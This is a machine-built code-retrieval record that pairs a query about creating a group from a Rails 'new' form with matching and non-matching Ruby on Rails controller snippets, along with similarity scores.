"def new\n @group = Group.new(:owner => current_user)\n authorize @group, :new?\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n logger.debug \"new hit\"\n @contact_group = ContactGroup.find( params[:contact_group_id])\n logger.debug \"@contact_group set to #{@contact_group.group_name}, #{@contact_group}\"\n respond_to do |format|\n format.html { logger.debug \"Hit as HTML\" }\n format.js { logger.debug \"Hit as JS\" }\n end\n end",
"def new\n @user_group = UserGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_group }\n end\n end",
"def new\n @register_group = RegisterGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @register_group }\n end\n end",
"def new\n @group = WorkGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @reagent_group = ReagentGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reagent_group }\n end\n end",
"def create\n @group = Group.new(params[:group])\n @group.user_id = current_user.id\n if @group.save\n flash[:notice] = \"Grupo creado exitosamente.\"\n redirect_to groups_path\n else\n render :action => 'new'\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n # @group_user = @current_user.join_group(@group)\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_user }\n end\n end",
"def new\n if (user_signed_in? && ([2].include?(current_user.role)))\n @cultural_heritage_group = CulturalHeritage::Group.new\n @title_view = 'Grupos'\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cultural_heritage_group }\n end\n else\n respond_to do |format|\n format.html { redirect_to(new_user_session_path) }\n end\n end\n end"
] | [
"0.73467445",
"0.7228242",
"0.7150855",
"0.7146631",
"0.70922065",
"0.70922065",
"0.70510864",
"0.70236397",
"0.6992646",
"0.6954007",
"0.6942587",
"0.6939412",
"0.6929809",
"0.69132423",
"0.69097054",
"0.69097054",
"0.69097054",
"0.69097054",
"0.69097054",
"0.69097054",
"0.69097054",
"0.69097054",
"0.6907068",
"0.6901929",
"0.6898121",
"0.6878353",
"0.6878353",
"0.6843784",
"0.68355453",
"0.68194425",
"0.68194425",
"0.680917",
"0.67809707",
"0.6777091",
"0.6774026",
"0.6759898",
"0.67595065",
"0.6758894",
"0.6729795",
"0.6713536",
"0.67094564",
"0.6708259",
"0.6703454",
"0.6699306",
"0.6691107",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.6687514",
"0.66831297",
"0.66739243",
"0.66730654",
"0.6667193",
"0.66605306",
"0.6658062",
"0.66391563",
"0.6628848",
"0.6626717",
"0.6626717",
"0.66242325",
"0.6615636",
"0.66117346",
"0.66102594",
"0.65986174",
"0.65986174",
"0.65898997",
"0.6583525",
"0.6572378",
"0.6562372",
"0.6553552",
"0.65499437",
"0.65321726",
"0.65106916",
"0.6506715",
"0.6505346",
"0.6505134",
"0.6504835",
"0.6486591",
"0.6483035",
"0.6482251",
"0.6472966",
"0.64636964",
"0.64560115",
"0.64534026",
"0.64534026",
"0.64534026",
"0.64534026",
"0.64534026",
"0.64534026",
"0.6441355",
"0.6435382"
] | 0.6664574 | 62 |
Create a new group using the posted data from the 'new' view. | def create
if request.post?
@group = Group.new(params[:group])
if @group.save
# give the new group permissions to the folders
give_permissions_to_folders(@group, params[:permission_to_everything][:checked] == 'yes' ? true : false)
redirect_to :action => 'list'
else
render :action => 'new'
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @group = Group.new(new_group_params)\n if @group.save\n redirect_to groups_url\n else\n render :template => \"groups/new\"\n end\n end",
"def new\n save_navi_state(['groups_title', 'new_group'])\n @group = Group.new\n end",
"def create #:nodoc:\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = I18n.t(\"{{value}} was successfully created.\", :default => \"{{value}} was successfully created.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n if params[:create_and_new_button]\n format.html { redirect_to new_group_url }\n else\n format.html { redirect_to groups_url }\n # format.xml { render :xml => @group, :status => :created, :location => @group }\n end\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new \n end",
"def new #:nodoc:\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n # format.xml { render :xml => @group }\n end\n end",
"def create\n\t\t@group = Group.new(params[:group])\n\t\trespond_to do |format|\n\t\t\tif fonct_new_dup?\n\t\t\t\tobject_orig=Group.find(params[:object_orig_id])\n\t\t\tst = @group.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @group.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\tflash[:notice] = t(:ctrl_object_created, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tparams[:id][email protected]\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { render :xml => @group, :status => :created, :location => @group }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_created, :typeobj => t(:ctrl_group), :msg => nil)\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n\t\t@group = Group.new(params[:group])\n\t\trespond_to do |format|\n\t\t\tif params[:fonct] == \"new_dup\"\n\t\t\t\tobject_orig=Group.find(params[:object_orig_id])\n\t\t\tst = @group.create_duplicate(object_orig)\n\t\t\telse\n\t\t\tst = @group.save\n\t\t\tend\n\t\t\tif st\n\t\t\t\tflash[:notice] = t(:ctrl_object_created, :typeobj => t(:ctrl_group), :ident => @group.name)\n\t\t\t\tformat.html { redirect_to(@group) }\n\t\t\t\tformat.xml { render :xml => @group, :status => :created, :location => @group }\n\t\t\telse\n\t\t\t\tflash[:error] = t(:ctrl_object_not_created, :typeobj => t(:ctrl_group), :msg => nil)\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to(view_group_path(@group.label), :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = current_user.created_groups.new\n end",
"def new\n @group = Group.new\n end",
"def new\n @group = Group.new\n end",
"def new\n @group = Group.new\n end",
"def new\n @group = Group.new\n end",
"def new\n @group = Group.new\n end",
"def new\n \t@group = Group.new\n end",
"def new\n Group.rebuild! if nil.|Group.find(:first).rgt\n\t @group = Group.new\n\t @groups = current_user.get_unique_group_branches.map {|g| g.get_self_and_children?}.flatten\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def create\n @group = @flr.groups.new(group_params)\n if @group.save\n redirect_to @group, notice: 'Group was successfully created.'\n else\n render :new\n end\n end",
"def create\n new_group = Group.new(name: params[:name])\n\n if new_group.save\n render json: { \"notice\"=>\"new group #{params[:name]} successfully created\" }\n else\n render json: { \"alert\"=>\"group creation failed. check params.\" }\n end\n end",
"def new_group(group_data)\n [:id, :name].each { |attr| raise(ArgumentError, \"Missing or Invalid Parameter(s)\") unless group_data.key?(attr) }\n set_values group_data\n end",
"def create\n @group = Group.new(group_params)\n unless @group.save\n render :new and return\n end\n msg = [\"Created group.\", rebuild_configs].join(\" \")\n redirect_to groups_url, notice: msg\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def new\n\t\t@group = Group.new\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @group }\n\t\t\tformat.json { render :json => @group }\n\t\tend\n\tend",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, :notice => 'Group was successfully created.' }\n format.json { render :json => @group, :status => :created, :location => @group}\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @title = \"Добавление группы характеристик\"\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = GROUP.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to groups_path, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n end",
"def new\n @group = Group.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group }\n format.xml { render xml: @group }\n end\n end",
"def create\n @add_to_group = AddToGroup.new(params[:add_to_group])\n\n respond_to do |format|\n if @add_to_group.save\n format.html { redirect_to(@add_to_group, :notice => 'Add to group was successfully created.') }\n format.xml { render :xml => @add_to_group, :status => :created, :location => @add_to_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @add_to_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = current_user.groups.new(group_params)\n\n if (@group.save)\n flash[:success] = \"Found a new group!\"\n else\n flash[:warning] = \"Could not create group\"\n end\n\n redirect_to @group\n end",
"def new\n @group = Group.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def create\n #should expire groups page cache\n \n # expire the cache of the grouplist of this user\n Rails.cache.delete(Person.groups_cache_key(@current_user.id, session[:cookie]))\n \n @group = Group.new\n begin\n @group = Group.create(params[\"group\"], session[:cookie])\n flash[:notice] = :group_created_successfully\n redirect_to group_path(@group) and return\n rescue RestClient::RequestFailed => e\n @group.add_errors_from(e)\n @group.form_title = params[:group][:title]\n @group.form_description = params[:group][:description]\n render :action => :new and return\n rescue RestClient::Unauthorized => e\n @group.add_errors_from(e)\n @group.form_title = params[:group][:title]\n @group.form_description = params[:group][:description]\n render :action => :new and return \n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Le groupe a été créé.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @group }\n end\n end",
"def new\n add_breadcrumb \"Social\", social_path()\n add_breadcrumb \"Create group\"\n \n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n render json: @group\n end",
"def create\n group = Group.new(group_params)\n if group.save\n render json: group\n else\n render json: group.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n \n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = @current_user.create_group(params[:group])\n # @group = @current_user.groups.build(params[:group])\n # @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.valid?\n format.html { redirect_to circle_groups_path, notice: 'Group was successfully created.' }\n format.json { render json: @group, status: :created, location: @group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n group = params[:group] || {}\n group.delete(:locales)\n group.delete(:domains)\n @group = GROUP.new(group)\n @group.current_user = current_user\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(group_url(@group.id)) }\n format.xml { render :xml => @group, :status => :created, :location => group_url(@group.id) + \".xml\" }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n #redirect_to new_grouping_path if params[:grouping][:name] == ''\n #@grouping = Grouping.new(params[:grouping])\n @grouping.company_id = current_user.company_id\n\n if @grouping.save\n gflash :success => 'Group created.' \n else\n @users = []\n @root = false\n end\n \n #redirect_to edit_grouping_path(@grouping)\n respond_with(@grouping)\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.json { render json: @group, status: :created }\n else\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n if @group.save\n flash[:notice] = t('flash_msg46')\n @groups = Group.all\n else\n @error = true\n end\n end",
"def create\n\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n @group.user_id = current_user.id\n if @group.save\n flash[:notice] = \"Grupo creado exitosamente.\"\n redirect_to groups_path\n else\n render :action => 'new'\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @group = Group.new\n\n render json: @group\n end",
"def new\n @group = Group.new\n @title = 'Create Group'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def create\n @group = Group.new(permitted_params)\n @group.owner ||= current_user\n authorize @group, :create?\n respond_to do |format|\n if @group.save\n format.html { redirect_to(@group, :notice => 'Group was successfully created.') }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = current_user.groups.new(group_params)\n\n if @group.save\n redirect_to groups_path, notice: 'Group was successfully created.'\n else\n flash[:alert] = @group.errors.full_messages.first\n redirect_to new_group_path\n end\n end",
"def create\n @esol_group = EsolGroup.new(params[:esol_group])\n\n respond_to do |format|\n if @esol_group.save\n format.html { redirect_to @esol_group, notice: 'Esol group was successfully created.' }\n format.json { render json: @esol_group, status: :created, location: @esol_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @esol_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Group\n @group = Group.new(group_params)\n @group.creator = current_user\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n if @group.save\n render_json_message({:success => t('.success')}, 201, {id: @group.id})\n else\n render_json_message({:errors => @group.errors.messages}, 422)\n end\n\n end",
"def new\n @group = current_user.groups.build\n\n respond_to :html\n end",
"def new\n @add_group_to_user = AddGroupToUser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @add_group_to_user }\n end\n end",
"def create\n @questionnaire_group = QuestionnaireGroup.new(params[:questionnaire_group])\n\n respond_to do |format|\n if @questionnaire_group.save\n format.html { redirect_to @questionnaire_group, notice: 'Questionnaire group was successfully created.' }\n format.json { render json: @questionnaire_group, status: :created, location: @questionnaire_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @questionnaire_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = @form.group.descendants.where.not(type: Form::CollectionGroup).find(params[:id])\n @model = build_form_model(@group)\n model_params = params.fetch(:form, {}).permit!\n @instance = @model.new model_params\n if @instance.valid?\n render :create\n else\n render :show\n end\n end",
"def create\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:success] = \"Группа успешно добавлена.\"\n format.html { redirect_to @group }\n format.json { render json: @group, status: :created, location: @group }\n else\n flash.now[:error] = \"Группа с таким названием не может быть добавлена!\"\n format.html { render action: \"new\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lab_group = LabGroup.new(params[:lab_group])\n\n respond_to do |format|\n if @lab_group.save\n flash[:notice] = 'LabGroup was successfully created.'\n format.html { redirect_to(@lab_group) }\n format.xml { render :xml => @lab_group, :status => :created, :location => @lab_group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lab_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @add_to_group = AddToGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @add_to_group }\n end\n end",
"def create\n @group_of_task = GroupOfTask.new(params[:group_of_task])\n\n respond_to do |format|\n if @group_of_task.save\n flash[:notice] = 'GroupOfTask was successfully created.'\n format.html { redirect_to(@group_of_task) }\n format.xml { render :xml => @group_of_task, :status => :created, :location => @group_of_task }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group_of_task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(params[:group])\n @group.user = current_user\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n format.html { redirect_to(@group) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.haml\n format.js # new.js.rjs\n format.xml { render :xml => @group }\n format.json { render :json => @group }\n end\n end",
"def new\n @groupaddrobj = Groupaddrobj.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @groupaddrobj }\n end\n end",
"def create\n @group = Group.new(group_params)\n if current_user\n @group.user_id = current_user.id\n end\n \n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render action: 'show', status: :created, location: @group }\n else\n format.html { render action: 'new' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.new(group_params)\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to @group, notice: 'Новая группа создана!' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n # build a 'temporary' post which is written to DB later (create-method)\n @iogroup = Iogroup.new\n end",
"def create\n @group = Group.new(params[:group])\n\n if @group.save\n redirect_to(list_groups_path(:page => params[:page]), :notice => t(\"group.created\"))\n else\n render :action => :new\n end\n end",
"def create\n @t_group = TGroup.new(t_group_params)\n\n respond_to do |format|\n if @t_group.save\n format.html { redirect_to @t_group, notice: 'T group was successfully created.' }\n format.json { render :show, status: :created, location: @t_group }\n else\n format.html { render :new }\n format.json { render json: @t_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @group = current_user.groups.new\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def new\n @group = Group.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group }\n end\n end"
] | [
"0.803794",
"0.7965249",
"0.77496606",
"0.77134085",
"0.7695011",
"0.7655155",
"0.76291615",
"0.76224524",
"0.76049924",
"0.7597215",
"0.7597215",
"0.7597215",
"0.7597215",
"0.7597215",
"0.7576202",
"0.7559088",
"0.75566685",
"0.75558984",
"0.75460136",
"0.7542783",
"0.7530388",
"0.7530388",
"0.7530388",
"0.7530388",
"0.7530388",
"0.75073457",
"0.75073457",
"0.7503335",
"0.74956757",
"0.74837136",
"0.7480662",
"0.74716854",
"0.74700236",
"0.74681413",
"0.74681413",
"0.74681413",
"0.74681413",
"0.74681413",
"0.74681413",
"0.7443366",
"0.74425817",
"0.74418956",
"0.74418956",
"0.74418956",
"0.74418956",
"0.74418956",
"0.74418956",
"0.74418956",
"0.74418956",
"0.7435469",
"0.7428509",
"0.74162716",
"0.7409896",
"0.7406427",
"0.7406427",
"0.73985195",
"0.7387637",
"0.73848516",
"0.738081",
"0.73779714",
"0.73771966",
"0.7374179",
"0.73716736",
"0.73670065",
"0.7362807",
"0.73419905",
"0.73398685",
"0.7339099",
"0.73384273",
"0.73368555",
"0.73262167",
"0.73262167",
"0.73262167",
"0.73209256",
"0.7317207",
"0.730764",
"0.7305873",
"0.7300106",
"0.72930974",
"0.729278",
"0.72870415",
"0.7282564",
"0.72714055",
"0.7269988",
"0.7267289",
"0.72616875",
"0.72607887",
"0.72607356",
"0.7259829",
"0.7259102",
"0.72562087",
"0.72500896",
"0.7245676",
"0.7245432",
"0.7238951",
"0.72363645",
"0.7220221",
"0.7219671",
"0.72070074",
"0.72070074",
"0.72070074"
] | 0.0 | -1 |
Show a form in which the group can be renamed | def rename
render
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def display_name\n group_name\n end",
"def show\n @groups = @form.groups\n end",
"def show\n @title = \"Grupo \" + @previa_group.name\n end",
"def title_for_form(object)\n prefix = object.id != nil ? 'Edit' : 'Create'\n return prefix + ' ' + MyAdmin.prepare_title(object.class.name)\n end",
